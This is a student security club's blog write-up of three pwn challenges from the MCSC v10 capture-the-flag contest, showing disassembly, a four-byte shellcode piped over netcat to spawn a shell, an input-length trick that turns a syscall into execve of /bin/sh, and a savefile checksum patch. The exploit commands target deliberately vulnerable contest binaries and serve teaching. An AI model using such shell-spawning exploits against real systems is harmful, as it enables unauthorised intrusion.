Blog09: Misc — MCSC v10 Writeups: Part Two (Pwn Challenges)

INSEC ENSIAS Club
4 min readMar 6, 2023

--

Hello again folks!
You’ve been a lot to request the writeups for the pwn challenges from the MCSC v10’s CTF.
So, here they are.

Challenge — Whisper

[thamugadi@thinkpad whisper]$ checksec whisper 
[*] ‘/home/thamugadi/mcsc/whisper/whisper’
Arch: amd64–64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

The “Has RWX segments” should put us on the track of a code execution in the stack.

sub rsp, 0x100 
xor rax, rax
xor rdi, rdi
mov rsi, rsp
mov rdx, 4
syscall
mov rax, 0xcafebabf
call_stack:
call rsp
mov rbx, 0xcafebabe
cmp rax, rbx
je flag
exit:
mov rax, 0x3c
syscall
flag:
mov rax, 0x0068732F6E69622F
push rax
mov rax, 59
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

It is exactly what is done. 4 bytes are read from stdininto the stack, and then jumped to. Then the program will execute /bin/sh if RAX does contain 0xcafebabe, and exit otherwise.

Since the initial value of RAX is 0xcafebabf, we need to craft a shellcode that will decrement the value of RAX, and return to the saved RIP (call rspwill firstly push the current RIP).

radare2 can do this work for us:

[0x00401000]> wa* dec rax 
wx 48ffc8
[0x00401000]> wa* ret
wx c3

Our shellcode is 48 FF C8 C3. This perfectly fits 4 bytes.

Therefore, this will open a shell:

[thamugadi@thinkpad whisper]$ (python2 -c ‘print “\x48\xff\xc8\xc3”’; cat) | nc {address} {port} 
cat flag.txt

And we can simply retrieve the flag.

Challenge — wild

Let’s disassemble this bad boy.

; — section..text: 
; — segment.LOAD1:
; — rip:
┌ 55: entry0 ();
│ ┌─< 0x00401000 jmp loc.start
..
│ ╎│ ; — start:
│ ╎└─> 0x0040100b sub rsp, 0x20
│ ╎ 0x0040100f xor rax, rax
│ ╎ 0x00401012 xor rdi, rdi
│ ╎ 0x00401015 mov rsi, rsp
│ ╎ 0x00401018 mov rdx, 0x1000
│ ╎ 0x0040101f syscall
│ ╎ 0x00401021 mov rdi, loc.arg0
│ ╎ 0x00401028 mov rsi, loc.ptr
│ ╎ 0x0040102f mov rdx, 0
│ ╎ 0x00401036 xor rax, 0x198
│ ╎ 0x0040103c syscall
└ └──< 0x0040103e jmp loc.exit

After executing a regular read syscall, we see that @loc.arg0 (which contain /bin/sh) is given as the first argument of an undefined syscall.

Actually, the syscall that will be executed there depends of the value of RAX, which is xorred with 0x198. We have to set RAX such as RAX ^ 0x198 = 59 (execve). You can check the syscalls table here. RAX value right after the read should therefore be 419.

So, how can we input something to RAX? Well, an interesting property of read is that the number of characters is written into RAX. We can control its value by adjusting the number of bytes we input.

(python2 -c ‘print “A”*418’; cat) | nc {addr} {port}
This will get the flag for us :)

Challenge — zelda

The “zelda” challenge consists of an interface where it is possible to view the “savefile”, modify it or load it. When we try to load one with an arbitrary name, we get:

Welcome to THE LEGEND OF MCSC!
What is your name?
aramya
1: Hexdump savefile
2: Modify savefile
3: Load savefile
3
Sorry, aramya, but it is written: Only Link can defeat Ganon.

Inputing “Link” as a name will result in the response: You are not Link, the Hero…

Let’s try to modify the savefile for it to contain the name “Link”:

Welcome to THE LEGEND OF MCSC! 
What is your name?
Linkk
1: Hexdump savefile
2: Modify savefile
3: Load savefile
1
0x4c 0x69 0x6e 0x6b 0x6b 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0xf9 0x1 0x0 0x0
1: Hexdump savefile
2: Modify savefile
3: Load savefile
2
Offset? (hexadecimal)
4
Value? format: (hexadecimal)
0
1: Hexdump savefile
2: Modify savefile
3: Load savefile
3
Corrupted savefile
1: Hexdump savefile
2: Modify savefile
3: Load savefile

We get the Corrupted savefile message! After a few tests, we can observe that the 4 last bytes are storing a very basic checksum, consisting of the sum of all the previous bytes, stored in 32-bit little endian format.

Let’s fix the checksum by decrementing the K we just erased :

0xf9 0x1 0x0 0x0 is 32LE for 0x1f9 : Linkk’s checksum
0x1f9 — ord(“k”) = 0x18e = 0x8e 0x1 0x0 0x0

Therefore:

1: Hexdump savefile 
2: Modify savefile
3: Load savefile
2
Offset? (hexadecimal)
c
Value? format: (hexadecimal)
8e
1: Hexdump savefile
2: Modify savefile
3: Load savefile
3
insec{th3_4dv3ntur3_0f_l1nk}
1: Hexdump savefile
2: Modify savefile
3: Load savefile

And tada! we got the flag :)

Challenges — tiny & power

These challenges require a bit more work, so their writeups will be posted seperately at a later time.

We hope these writeups answer the questions that you had about the reverse challenges.
And don’t forget! More writeups of other categories are coming up really soon.

Links

Facebook: INSEC Ensias

Instagram: INSEC Ensias

Linkedin: INSEC Ensias

Youtube: INSEC Club

Don’t forget to drop us a follow on social media to stay up to date with everything the club is doing. Looking forward to sharing more knowledge with all the readers and we welcome your feedback at insecblog@gmail.com

Writer: thmgdi

Editors: berradAtay, akna ,F3nn3C

--

--